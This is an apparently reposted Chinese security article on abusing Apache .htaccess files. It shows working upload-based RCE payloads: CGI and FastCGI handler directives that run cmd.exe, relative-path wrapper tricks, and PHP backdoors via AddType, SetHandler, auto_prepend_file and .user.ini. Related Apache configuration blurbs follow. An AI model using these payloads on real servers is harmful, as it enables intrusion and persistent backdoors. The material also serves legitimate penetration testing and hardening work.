Apache中.htaccess文件利用的总结与新思路拓展

更新日期: 2019-11-08阅读: 1.9k标签: Apache

Apache调用解析器的三种方式

在普遍使用的LAMP架构中,Apache与php之间的交互,有三种常见的方式。

第一种是最通用最常见的Module方式,即在httpd.conf中使用LoadModule的方式,将php的dll或者so文件加载到apache当中。

还有两种是CGI方式和FastCGI方式。其实后者用的越来越广泛了。一般PHP-FPM也是与FastCGI进行配合使用的。

可以参考 CGI、FastCGI和PHP-FPM关系图解 和 Apache下PHP的几种工作方式 来了解更多。


CGI启动方式的RCE利用姿势

当我们了解原理后,Apache是需要调用第三方CGI程序,但是一个程序是不是CGI程序这个事很难界定,我们能否通过调用特定的CGI程序(普通程序)来执行任意系统命令呢。答案是可以的。

利用条件

 1.保证htaccess会被解析,即当前目录中配置了`AllowOverride all或AllowOverride Options FileInfo。AllowOverride参数具体作用可参考Apache之AllowOverride参数详解。(Require all granted也是需要的)
 2.cgi_module被加载。即apache配置文件中有LoadModule cgi_module modules/mod_cgi.so这么一句且没有被注释。
 3.有目录的上传、写入权限。

利用姿势

上传.htaccess 文件, 内容如下:

Options ExecCGI
AddHandler cgi-script .xx

Options ExecCGI表示允许CGI执行,如果AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了。

第二句告诉Apache将xx后缀名的文件,当做CGI程序进行解析。

接下来,以Windows平台为例,上传poc.xx文件,内容如下:

#!C:/Windows/System32/cmd.exe /c start calc.exe
1

第一行用来表示CGI程序的路径。可以随便开你的脑洞。

因为CGI程序处理完成后,会被Apache关闭,所以我们这里要用启动新进程的方式来启动。

结果

这时访问poc.xx。计算器就出来啦~~

拿火绒剑来看下~


一目了然,读取了两个文件后,httpd.exe的mod_cgi.so模块执行了我们的命令。

linux环境下,也是随你玩,是直接调用/bin/bash还是调用/usr/bin/python来反弹Shell。都是可以的。这其实也就是正常使用方式,因为Python也会被用作为CGI解析程序。


FastCGI启动方式的RCE利用姿势

我们再来看看FastCGI模式的,这个依赖的是mod_fcgid.so,默认安装包里甚至没有这个so文件,不过在PHPStudy的默认配置中,就已经是加载了的,并且AllowOverride也是All权限,手动斜眼。

其实还有mod_proxy_fcgi,更为常见,也是默认开启的,还不清楚能否利用,表哥表姐们可以尝试一下。

利用条件

1.AllowOverride all或AllowOverride Options FileInfo。
2.mod_fcgid.so被加载。即apache配置文件中有LoadModule fcgid_module modules/mod_fcgid.so
3. 有目录的上传、写入权限。

利用姿势

上传.htaccess 文件, 内容如下:

Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc

老样子,如果默认就开启了ExecCGI,则第一句可以省略。

第二句表示,abc后缀名的文件需要被fcgi来解析。AddHandler还可以换成AddType。

再上传1.abc。内容无所谓。

结果

访问1.abc,计算器就出来了~再拿火绒剑看下。


PS:若拥有上传权限,以上两种利用方式,在PHPstudy默认配置当中,都是可以直接使用的。

使用相对路径

其实一些小伙伴也已经发现了,上面的问题再配合有上传漏洞,我甚至可以穿个马上去。但是无论是CGI还是FastCGI似乎都是绝对路径,相对路径可不可以呢?

经过了一些尝试,并请教了”裤衩哥”,发现相对路径也是可以的,起始点似乎和session.save_path变量的值是一致的。如图,比如phpstudy当中,起始点就是在\Extensions\tmp\tmp中。


那么,比如说我想要html后缀使用php来解析。就可以这样写。

AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

再来,我想调用网站根目录的calc.exe。可以这样。

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx

不过计算器无法正常弹出。23333 我猜应该是因为calc毕竟不是个标准CGI程序导致的吧。而且也没必要绕这么大个圈子,就没继续测试了。


其他常规利用姿势

将特定文件作为php解析,用作后门。

Module模式下写法如下:

AddType application/x-httpd-php .jpg

<FilesMatch "test.jpg">
    SetHandler application/x-httpd-php
  </FilesMatch>

甚至可以将 .htaccess本身作为php来解析,里面编写一句话。这块网络上相关资料很多。

PHP环境下使用 auto_prepend_file 或 auto_append_file 创建后门

通过配置auto_append_file或auto_prepend_file可以向所有php文件中的开头或尾部插入指定的文件的内容。

在. htaccess中的写入如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

对于CGI/FastCGI模式 PHP 5.3.0 以上版本,还可以使用 在目录下创建.user.ini文件 。来引入该参数。写法如下:

auto_prepend_file = 123.gif

原文 https://www.freebuf.com/vuls/218495.html

链接: https://fly63.com/article/detial/6467

Apache2简单配置

Apache2进行简单配置:安装Apache2、启动服务、配置虚拟站点_在sites-available目录下配置自己的虚拟站点、进入sites-avaliable目录后,有两个默认的配置文件

apache的<directory>语句以及属性的含义

在整完apache和tomcat的之后我觉得有必要把<directory>和它下面的属性捋顺一下。缺省apache不允许访问http目录(没有定义,就没有访 问权限)、无限制目录访问、有限制目录访问

Apache开启gzip压缩

服务器设置 gzip 压缩是 web 开发中很普遍的做法。使用gzip压缩后可以使需要加载的文件大小缩小到原来的1/4左右(最大压缩级别)。然后在客户端解压即可。

apache反向代理出现502调整

项目上线后,会在接口调用时客户端出现502异常,而服务端则对该此请求作出处理。经过排查后得知是由于请求并发量大,造成超过请求超时间,但是apache中队列已经加载到请求信息,所有会对请求作出处理。

Apache 配置虚拟主机三种方式

假设服务器有个IP地址为192.168.1.10,使用ifconfig在同一个网络接口eth0上绑定3个IP;修改hosts文件,添加三个域名与之一一对应。基于主机名:设置域名映射同一个IP,修改hosts

Apache Forbidden 403错误提示

在配置Linux的 Apache服务时,经常会遇到http403错误,我今天配置测试时也出现了,最后解决了,总结了一下。http 403错误是拒绝访问的意思,有很多原因的。还有,这些问题在win平台的Apache里一样会发生

Apache 的访问控制配置

客户机地址限制:通过 Require 配置项,可以根据主机的主机名或IP地址来决定是否允许客户端访问,在 httpd服务器的主配置文件的 <Location>、<Directory>、<Files>、<Limit>

apache开启对gzip的支持

配置后会优先使用同名的压缩文件返回到浏览器端,浏览器进行解压,由于文件体积减小了,从而大大提高了对文件的加载速度。

内容以共享、参考、研究为目的,不存在任何商业目的。其版权属原作者所有,如有侵权或违规,请与小编联系!情况属实本人将予以删除!